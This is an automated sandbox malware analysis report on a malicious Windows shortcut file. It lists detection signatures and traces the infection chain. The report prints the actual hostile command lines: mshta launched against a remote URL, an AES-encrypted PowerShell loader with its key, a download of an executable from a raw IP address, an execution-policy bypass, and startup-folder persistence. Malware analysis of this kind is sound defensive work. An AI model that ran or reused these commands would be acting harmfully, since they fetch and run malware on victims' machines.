Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
nTyPEbq9wQ.lnk

Overview

General Information

Sample name:nTyPEbq9wQ.lnk
renamed because original name is a hash value
Original sample name:3f07684c8928f37a94395ac341b222b4.lnk
Analysis ID:1579759
MD5:3f07684c8928f37a94395ac341b222b4
SHA1:c55ac3e96ec0c1e9310059ef9862f1f142b37091
SHA256:76a557c2ff0701d6c2631ac16582c07df84695b64d1fdd1901c1b14479a9f991
Tags:lnkuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Windows shortcut file (LNK) starts blacklisted processes
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Contains functionality to create processes via WMI
Creates processes via WMI
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Created Via Wmic.EXE
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Windows shortcut file (LNK) contains suspicious command line arguments
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

  • System is w10x64
  • WMIC.exe (PID: 2452 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
    • conhost.exe (PID: 1704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 6592 cmdline: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh') MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5860 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • mshta.exe (PID: 2764 cmdline: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
          • powershell.exe (PID: 1820 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Substring(3) MD5: 04029E121A0CFA5991749937DD22A1D9)
            • conhost.exe (PID: 1824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • msedge.exe (PID: 3108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp MD5: 69222B8101B0601CC6663F8381E7E00F)
              • msedge.exe (PID: 2820 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
            • PefjSkkhb.exe (PID: 7604 cmdline: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" MD5: 567DE19C0E7E3A1FC845E51AC1C1D5D8)
              • powershell.exe (PID: 7680 cmdline: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)
                • conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • powershell.exe (PID: 8348 cmdline: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
                • conhost.exe (PID: 8356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • Guard.exe (PID: 8788 cmdline: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685)
                  • cmd.exe (PID: 8832 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                    • conhost.exe (PID: 8840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 2376 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • msedge.exe (PID: 5508 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate --single-argument C:\Users\user\AppData\Roaming\New_2025.webp MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 3856 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • wscript.exe (PID: 8924 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • SwiftWrite.pif (PID: 8980 cmdline: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
Process Memory Space: powershell.exe PID: 1820INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
  • 0xa9139:$b1: ::WriteAllBytes(
  • 0x18886a:$b1: ::WriteAllBytes(
  • 0x189000:$b1: ::WriteAllBytes(
  • 0xc925f:$b3: ::UTF8.GetString(
  • 0xc9df0:$b3: ::UTF8.GetString(
  • 0x12a375:$b3: ::UTF8.GetString(
  • 0x14cc0c:$b3: ::UTF8.GetString(
  • 0x14d79d:$b3: ::UTF8.GetString(
  • 0x14ff30:$b3: ::UTF8.GetString(
  • 0x151879:$b3: ::UTF8.GetString(
  • 0x159d33:$b3: ::UTF8.GetString(
  • 0x1a39b1:$b3: ::UTF8.GetString(
  • 0x1a3ff2:$b3: ::UTF8.GetString(
  • 0x1d08dd:$b3: ::UTF8.GetString(
  • 0x1d148a:$b3: ::UTF8.GetString(
  • 0x1d2242:$b3: ::UTF8.GetString(
  • 0x1d2fad:$b3: ::UTF8.GetString(
  • 0x1d6217:$b3: ::UTF8.GetString(
  • 0x1df058:$b3: ::UTF8.GetString(
  • 0x1eb32d:$b3: ::UTF8.GetString(
  • 0x1ec006:$b3: ::UTF8.GetString(

System Summary

barindex
Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , CommandLine|base64offset|contains: , Image: C:\Users\Public\Guard.exe, NewProcessName: C:\Users\Public\Guard.exe, OriginalFileName: C:\Users\Public\Guard.exe, ParentCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8348, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ProcessId: 8788, ProcessName: Guard.exe
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 8348, ProcessName: powershell.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3 , ParentImage: C:\Users\Public\Guard.exe, ParentProcessId: 8788, ParentProcessName: Guard.exe, ProcessCommandLine: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit, ProcessId: 8832, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh, CommandLine: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5860, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh, ProcessId: 2764, ProcessName: mshta.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1", ProcessId: 8348, ProcessName: powershell.exe
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Subst
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", ProcessId: 2452, ProcessName: WMIC.exe
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 8924, ProcessName: wscript.exe
Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7680, TargetFilename: C:\Users\Public\Guard.exe
Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C9